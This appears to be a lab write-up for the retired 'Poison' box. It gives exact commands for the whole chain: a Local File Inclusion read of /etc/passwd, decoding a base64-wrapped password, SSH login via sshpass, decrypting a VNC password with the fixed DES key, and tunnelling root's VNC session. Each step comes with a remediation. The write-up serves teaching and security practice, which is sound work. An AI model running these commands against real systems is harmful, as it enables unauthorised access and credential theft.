Poison
Summary
I scanned a FreeBSD host exposing Apache 2.4.29 with PHP 5.6.32 and OpenSSH 7.2. A diagnostic listing script (listfiles.php) in the web root returned the entire web directory without authentication, revealing a credential backup file (pwdbackup.txt) alongside a second PHP script (browse.php) that accepted a filename parameter with no path validation. Exploiting that Local File Inclusion primitive confirmed local accounts including charix.
The credential backup contained a password base64-encoded thirteen times; a shell loop recovered the plaintext <withheld>, which was also the OS and SSH password for charix — a direct result of password reuse — delivering an interactive shell and the user flag. From that shell, a password-protected ZIP archive (secret.zip) in charix's home directory was retrieved via SCP and extracted with the same reused password, yielding an 8-byte binary VNC password file. VNC stores passwords with a publicly known fixed-key DES scheme; decoding the blob produced root's VNC password.
Root's TightVNC session ran exclusively on the loopback interface, but OpenSSH's default port-forwarding setting allowed the low-privilege charix session to tunnel it outward. A single SSH local port-forward exposed the root VNC port to my machine; a VNC client authenticated as root, opened the live desktop, and the root flag was read directly — full system compromise achieved through credential reuse and a misconfigured remote-desktop service, with no additional exploitation required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for charix>"Attack path — how the box was taken
Exact commands 2
Banner-grab the two open ports.
$ nmap -Pn -sV -p 22,80 $TARGET
22/tcp open ssh OpenSSH 7.2
80/tcp open http Apache httpdFetch the web root; confirms the Apache/PHP stack and the 'test scripts' landing page.
$ curl -s -i http://$TARGET/Exact commands 1
Returns the web directory listing without credentials; reveals browse.php and pwdbackup.txt.
$ curl -s "http://$TARGET/listfiles.php"FixRemove or access-control unauthenticated file-listing diagnostic scriptsMedium
Exact commands 2
Exploits LFI to read /etc/passwd; confirms root and charix accounts.
$ curl -s "http://$TARGET/browse.php?file=/etc/passwd"Read the credential backup via LFI — alternative to the direct URL request.
$ curl -s "http://$TARGET/browse.php?file=pwdbackup.txt"FixFix the Local File Inclusion vulnerability in browse.phpCritical
Exact commands 2
Download the base64 blob to a local file.
$ curl -s http://$TARGET/pwdbackup.txt -o pwd.curDecode thirteen rounds of base64; final output is the plaintext password $PASSWORD.
$ for i in $(seq 1 13); do base64 -d pwd.cur > pwd.next && mv pwd.next pwd.cur; done && cat pwd.curFixRemove all credential and backup files from the web document rootCritical
Exact commands 1
Log in as charix with the decoded password; replace the flag value with <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 charix@$TARGET 'id && cat /home/charix/user.txt'FixEliminate password reuse across OS accounts, SSH, and file archivesHigh
Exact commands 3
Download secret.zip from charix's home directory to my machine.
$ sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET:/home/charix/secret.zip .Extract with the same reused password; produces the 8-byte file 'secret'.
$ unzip -P "$PASSWORD" secret.zipConfirm TightVNC is listening on loopback port 5901.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charix@$TARGET 'sockstat -4 -l | grep -i vnc'Exact commands 2
The standalone vncpwd tool decodes the VNC DES blob and prints root's plaintext VNC password; build from source or obtain from a Kali repository.
$ ./vncpwd secretPure-Python alternative (pip install pycryptodome); the fixed VNC DES key with bit-reversed bytes decrypts the blob.
$ python3 -c "from Crypto.Cipher import DES;k=bytes([23,82,107,6,35,78,88,7]);r=bytes(int(f'{b:08b}'[::-1],2)for b in k);print(DES.new(r,DES.MODE_ECB).decrypt(open('secret','rb').read()).rstrip(b'\x00').decode())"FixReplace VNC fixed-key DES password storage with modern authenticationHigh
Exact commands 1
Creates a background SSH tunnel; the target's loopback VNC port 5901 appears as local port 15901.
$ sshpass -p "$PASSWORD" ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -L 15901:127.0.0.1:5901 -p 22 charix@$TARGETFixDisable root's VNC session and restrict SSH port forwardingCritical
Exact commands 2
Connect to the forwarded port using the 'secret' file as the VNC password store; opens root's live desktop.
$ vncviewer -passwd secret 127.0.0.1::15901Run from the root VNC desktop terminal; output is <root.txt>.
$ cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.